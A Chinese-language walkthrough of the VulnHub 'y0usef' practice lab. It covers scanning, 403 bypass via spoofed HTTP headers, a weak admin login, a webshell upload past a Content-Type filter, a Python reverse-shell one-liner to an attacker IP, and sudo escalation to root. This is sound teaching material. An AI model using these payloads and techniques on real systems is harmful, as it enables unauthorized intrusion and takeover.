VnlnHub y0usef
字数 1156 2025-08-12 11:34:31
VulnHub y0usef 靶场渗透测试教学文档
靶场概述
y0usef 是 VulnHub 上的一个渗透测试靶场,模拟了一个存在多个漏洞的 Web 应用系统。本教学文档将详细讲解从靶场搭建到最终提权的完整渗透测试流程。
靶场搭建
下载地址
- 官方下载链接: https://download.vulnhub.com/y0usef/y0usef.ova
环境配置
- 下载的 OVA 文件是 VirtualBox 虚拟机镜像
- 如需在 VMware 中使用,参考转换教程: FreeBuf 文章
- 网络模式设置:
- 推荐使用 NAT 模式
- 也可使用桥接模式,但需确保与 Kali 攻击机在同一网络环境
信息收集
网络扫描
- 使用
netdiscover或nmap扫描网段:nmap -sn 192.168.52.0/24 - 确认靶机 IP (本例中为 192.168.52.137)
端口扫描
nmap -sV -p- 192.168.52.137
扫描结果:
- 22/tcp: OpenSSH 服务
- 80/tcp: Apache httpd 2.4.10 (Web 服务)
Web 应用渗透
初步访问
- 访问 http://192.168.52.137
- 显示"网站正在建设中"页面
- 目录扫描:
发现重要目录:dirb http://192.168.52.137- /adminstretion (403 Forbidden)
- /index.php/login
403 绕过技术
尝试绕过 /adminstretion 的访问限制:
-
Host 头绕过
GET /auth/login HTTP/1.1 Host: www.abc.com GET /auth/login HTTP/1.1 Host: $xxx$.abc.com -
URL 覆盖
GET / HTTP/1.1 X-Original-URL: /auth/login -
Referer 绕过
GET / HTTP/1.1 Referer: https://10.0.2.30/auth/login -
IP 伪造
GET /auth/login HTTP/1.1 X-Forwarded-For: 127.0.0.1- 本例中通过添加
X-Forwarded-For: 127.0.0.1成功绕过
- 本例中通过添加
登录页面
- 发现登录表单,提示"不会分享你的用户名给其他人"
- 尝试弱口令:
- admin/admin 成功登录
文件上传漏洞
- 发现文件上传功能
- 上传测试:
- 直接上传 PHP webshell: 失败
- 上传 TXT 文件: 失败
- 上传 JPEG 文件: 失败
- 上传 PNG 文件: 成功
- 绕过方法:
- 修改 Content-Type 为 image/png
- 上传 PHP webshell 成功
获取初始访问
WebShell 利用
- 访问上传的 webshell
- 检查可用工具:
which nc which python
反弹 Shell
- Kali 监听:
nc -lvnp 4444 - 通过 Python 反弹:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
权限提升
发现第一个 Flag
- 在 /home 目录发现 user.txt
- 内容为 Base64 编码,解码后为 yousef 的账号密码
SSH 登录
ssh yousef@192.168.52.137
提权检查
sudo -l
结果显示可以运行所有命令
最终提权
sudo -s
成功获取 root 权限
总结
本靶场涵盖了以下关键渗透测试技术:
- 403 状态码绕过技术
- 弱口令攻击
- 文件上传限制绕过
- WebShell 利用
- 反弹 Shell 技术
- 权限提升技术
通过这个靶场,可以全面练习从信息收集到最终提权的完整渗透测试流程。